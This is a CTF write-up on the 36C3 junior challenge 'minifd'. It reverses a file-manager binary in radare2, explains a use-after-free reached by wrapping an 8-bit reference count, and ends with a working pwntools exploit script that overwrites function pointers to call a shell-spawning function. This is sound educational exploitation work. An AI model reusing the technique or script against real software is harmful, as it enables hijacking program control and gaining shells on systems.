Exploiting A Use-After-Free With radare2 - CTF Challenge

ctf reversing exploitation r2 radare2 cutter heap

This writeup is about a 36C3 junior CTF challenge called minifd which can be found here. The goal is to find and exploit a user-after-free vulnerability in order to spawn a shell on the remote system. Here’s the challenge description:

This is a simple file manager implementation supporting basic functionality to create, read, and write files.

Please note: This is a prototype implementation. At this point of time, only 16 files can be managed at the same time.


The 16 files are managed in a list that’s being held in memory. Files can be created, deleted, edited and duplicated with these commands:

The first thing to do, after playing around with the service itself, is to load the challenge binary into a 1337 hacker tool like Cutter. This is a handy GUI for radare2. By making use of the graph view, one can get a good overview of the implementation. Let’s have a look at how files are created in sym.create:

Graph: sym_create()

A few things can be noticed here: First of all, the files are being allocated on the heap - hence the call to calloc(). Also, the size of a single file seems to be 80 bytes (0x50) in total since that’s the requested chunk size. After requesting a memory chunk, it’s being initialized as a new file.

Reversing The Data Structure

From the disassembled instructions it’s possible to reconstruct the structure that represents a file in memory:

struct file {
    uint8_t refcount; // +0x0: mov byte [rax], 1
    uint8_t unused_1; // +0x1
    uint8_t unused_2; // +0x2
    uint8_t unused_3; // +0x3
    uint32_t data_len; // +0x4: mov dword [rax + 4], 0
    unsigned char* data; // +0x8: mov dword [rax + 8], 0
    unsigned char name[32]; // +0x10 ... +0x2F (0x1F length): strcpy
    void* close_func; // +0x30: lea rax, [sym.c3ctf_file_close]
    void* read_func; // +0x38: lea rax, [sym.c3ctf_file_read]
    void* write_func; // +0x40: lea rax, [sym.c3ctf_file_write]
    void* dup_func; // +0x48: lea rax, [sym.c3ctf_file_dup]
};

An important thing to notice is that the last four fields are function pointers to the operations that users can call. At last, the file is then added into a slot in the global list of files with the last three lines of disassembled code listed in the graph output above.

The data types are clear now but how to determine the purpose of the structure fields? Check out the operations that users can invoke on the structure:

The first byte of the structure is being checked in sym.do_dup(). If it’s not zero, then a call to [rbx + 0x48] is being made. As listed in the structure above, this is a pointer to sym.c3ctf_file_dup():

Duplicating files just increases the value stored at the given address. This makes sense for a reference count.

The value at rdi + 4 is being compared to the second argument of the function, which is the amount of bytes the user requested to write. If it’s below the other value, a jump is being made that skips the re-allocation of the data rbp + 8 points to. This essentially re-uses the space of a previous allocation in case the space is sufficient for the new content. If it’s not, then a new allocation takes place. By putting this together you can determine that the value at offset +4 is the data length and that offset +8 points to a heap segment that’s filled with data.

Loading The Struct In radare2

Now that the data structure is known, the best thing to do is to load it into radare2 so it can cast memory at a given address to this data type. This is pretty easy and only requires a single command:

[0x004007c0]> t?
Usage: t   # cparse types commands
[...]
| td[?] <string>             Load types from string
| ts[?]                      Print loaded struct types
| tp  <type> [addr|varname]  cast data at <address> to <type> and print it
[...]

[0x004007c0]> "td struct file {uint8_t refcount;uint8_t unused_1;uint8_t unused_2;uint8_t unused_3;uint32_t data_len;unsigned char* data;unsigned char name[32];void* close_func;void* read_func;void* write_func;void* dup_func;};"

[0x004007c0]> ts
file

After that it’s possible to print a given memory segment as a file:

[0x00400ad5]> tp file 0x00a5a3f0
   refcount : 0x00a5a3f0 = 0x01
   unused_1 : 0x00a5a3f1 = 0x00
   unused_2 : 0x00a5a3f2 = 0x00
   unused_3 : 0x00a5a3f3 = 0x00
   data_len : 0x00a5a3f4 = 0
       data : 0x00a5a3f8 = (qword)0x0000000000000000
       name : 0x00a5a400 = [ 0x79, 0x6f, 0x6c, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x00, [...] ]
 close_func : 0x00a5a420 = (qword)0x00000000004008ab
  read_func : 0x00a5a428 = (qword)0x00000000004008d0
 write_func : 0x00a5a430 = (qword)0x00000000004008f1
   dup_func : 0x00a5a438 = (qword)0x00000000004008a7

After executing write 0 22 yoloyoloyoloyoloyolyol in the debugged process, the data pointer changes:

[0x00400ad5]> tp file 0x00a5a3f0
   refcount : 0x00a5a3f0 = 0x01
   unused_1 : 0x00a5a3f1 = 0x00
   unused_2 : 0x00a5a3f2 = 0x00
   unused_3 : 0x00a5a3f3 = 0x00
   data_len : 0x00a5a3f4 = 0
       data : 0x00a5a3f8 = qword)0x0000000000a5a4c0
       name : 0x00a5a400 = [ 0x79, 0x6f, 0x6c, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x00, [...] ]
 close_func : 0x00a5a420 = (qword)0x00000000004008ab
  read_func : 0x00a5a428 = (qword)0x00000000004008d0
 write_func : 0x00a5a430 = (qword)0x00000000004008f1
   dup_func : 0x00a5a438 = (qword)0x00000000004008a7

[0x00400907]> pxq@0x0000000000a5a4c0
0x00a5a4c0  0x6f6c6f796f6c6f79  0x6f6c6f796f6c6f79   yoloyoloyoloyolo
0x00a5a4d0  0x00006c6f796c6f79  0x000000000001fb31   yolyol..1.......

Exploitation

An important thing to notice is that the reference count of an allocated file can be incremented directly by users:

This gets called without any prior checks for free space in one of the 16 slots. Because of this, the reference count can be incremented until the value wraps around. This makes exploitation possible in this scenario:

  1. A file a gets allocated
  2. A file b gets allocated
  3. The file a gets duplicated so that there exist two file handles that have pointers to the same chunk of heap memory
  4. The rest of the file table gets filled with files
  5. At this point the reference count for a is 0x2 since there are two pointers that reference to it. Now the dup() call will be performed for the file a exactly 255 times. This causes the reference count to wrap around and to contain the value 0x1 now
  6. One of the file handles for a gets closed now. The reference count for a is now at 0x0 and therefore the associated memory chunk with size 0x50 gets freed. However, there’s still a handle available that points to this freed memory region. This is called a dangling pointer
  7. A write operation to b follows. This write has to be exactly of size 0x50 (80 bytes) to cause the heap manager to place the written bytes into the memory region that was freed previously. The calloc() call will return the same address again. This places a fake object in memory that also contains more or less valid function pointers :)
  8. An arbitrary operation that involves one of the four function pointers is now being invoked on the remaining handle to a. This causes the application to make a call to the attacker-controlled function pointer

Let’s see how it looks like from a memory perspective. This is the file list after step 6:

-----------------------------------------
| fd |         file name                |
-----------------------------------------
|  0 |                                  |
|  1 |                                b |
|  2 |                                a |
|  3 |                                x |
|  4 |                                x |
|  5 |                                x |
|  6 |                                x |
|  7 |                                x |
|  8 |                                x |
|  9 |                                x |
| 10 |                                x |
| 11 |                                x |
| 12 |                                x |
| 13 |                                x |
| 14 |                                x |
| 15 |                                x |
-----------------------------------------

Now step 7 is performed - calling write 1 80 $(ragg2 -r -P 80) already shows some weird looking results on the UI:

| fd |         file name                |
-----------------------------------------
|  0 |                                  |
|  1 |                                b |
|  2 | AAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA |
|  3 |                                x |
|  4 |                                x |
|  5 |                                x |
|  6 |                                x |
|  7 |                                x |
|  8 |                                x |
|  9 |                                x |
| 10 |                                x |
| 11 |                                x |
| 12 |                                x |
| 13 |                                x |
| 14 |                                x |
| 15 |                                x |
-----------------------------------------

This is the file table that obj.files points to:

[0x7fe5d93a73f2]> pxq@obj.files
0x006020a0  0x0000000000000000  0x00000000012f0790   ........../.....
0x006020b0  0x00000000012f0730  0x00000000012f07f0   0./......./.....
0x006020c0  0x00000000012f0850  0x00000000012f08b0   P./......./.....
0x006020d0  0x00000000012f0910  0x00000000012f0970   ../.....p./.....
0x006020e0  0x00000000012f09d0  0x00000000012f0a30   ../.....0./.....
0x006020f0  0x00000000012f0a90  0x00000000012f0af0   ../......./.....
0x00602100  0x00000000012f0b50  0x00000000012f0bb0   P./......./.....
0x00602110  0x00000000012f0c10  0x00000000012f0c70   ../.....p./.....

Now the contents of the third slot are being printed - that’s the corrupted file:

[0x7fe5d93a73f2]> tp file 0x00000000012f0730
   refcount : 0x012f0730 = 0x41
   unused_1 : 0x012f0731 = 0x41
   unused_2 : 0x012f0732 = 0x41
   unused_3 : 0x012f0733 = 0x42
   data_len : 0x012f0734 = 1094926657
       data : 0x012f0738 = (qword)0x4641414541414441
       name : 0x012f0740 = [ 0x41, 0x41, 0x47, 0x41, 0x41, 0x48, 0x41, 0x41, 0x49, 0x41, 0x41, 0x4a, 0x41, 0x41, 0x4b, 0x41, 0x41, 0x4c, 0x41, 0x41, 0x4d, 0x41, 0x41, 0x4e, 0x41, 0x41, 0x4f, 0x41, 0x41, 0x50, 0x41, 0x41 ]
 close_func : 0x012f0760 = (qword)0x4153414152414151
  read_func : 0x012f0768 = (qword)0x5641415541415441
 write_func : 0x012f0770 = (qword)0x4141584141574141
   dup_func : 0x012f0778 = (qword)0x416141415a414159

All function pointers are now under control.

Calling dup 2 now causes the application to jump to the attacker-controlled location. Luckily the target binary is compiled without PIC and contains a function called sym.spawn_shell().

For reference this is the same region before and after the hax were performed:

[0x7fe5d93a73f2]> pxq@0x00000000012f0730
0x012f0730  0x0000000000000000  0x0000000000000000   ................
0x012f0740  0x0000000000000061  0x0000000000000000   a...............
0x012f0750  0x0000000000000000  0x0000000000000000   ................
0x012f0760  0x00000000004008ab  0x00000000004008d0   ..@.......@.....
0x012f0770  0x00000000004008f1  0x00000000004008a7   ..@.......@.....

[0x7fe5d93a73f2]> pxq@0x00000000012f0730
0x012f0730  0x4143414142414141  0x4641414541414441   AAABAACAADAAEAAF
0x012f0740  0x4141484141474141  0x414b41414a414149   AAGAAHAAIAAJAAKA
0x012f0750  0x4e41414d41414c41  0x41415041414f4141   ALAAMAANAAOAAPAA
0x012f0760  0x4153414152414151  0x5641415541415441   QAARAASAATAAUAAV
0x012f0770  0x4141584141574141  0x416141415a414159   AAWAAXAAYAAZAAaA

You can see that the reference count is 0x0, the name is a and that the function pointers were still intact before.

This is my finished exploit:

#!/usr/bin/env python2

from pwntools_r2 import *
from pwn import *

context.terminal = ['tmux', 'splitw', '-v']

r2script = """
#r2.cmd('aa')
#r2.cmd('dc')
#r2.cmd('dc')
"""

binary = ELF("./fd")
p = r2dbg('./fd', r2script=r2script)

p.recvuntil(">")

p.sendline("create a")
p.sendline("create b")
p.sendline("dup 0")

for i in range(16):
    p.sendline("create x")

for i in range(255):
    p.sendline("dup 0")

p.sendline("close 0")

FAKESIZE = 0x50
fakeobj = ""
fakeobj = "A" * (FAKESIZE - 0x8)
fakeobj += p64(binary.symbols['spawn_shell'])

p.sendline("write 1 80 " + fakeobj)

p.sendline("dup 2")

p.interactive()

References

37C3 CTF: ezrop

ctf reversing exploitation rop radare2 r2

BinaryGolf 2023: Building A GameBoy-Bash Polyglot

binary ctf

Analysis of Satisfyer Toys: Discovering an Authentication Bypass with r2 and Frida

radare2 r2 frida r2frida reverse-engineering web vulnerability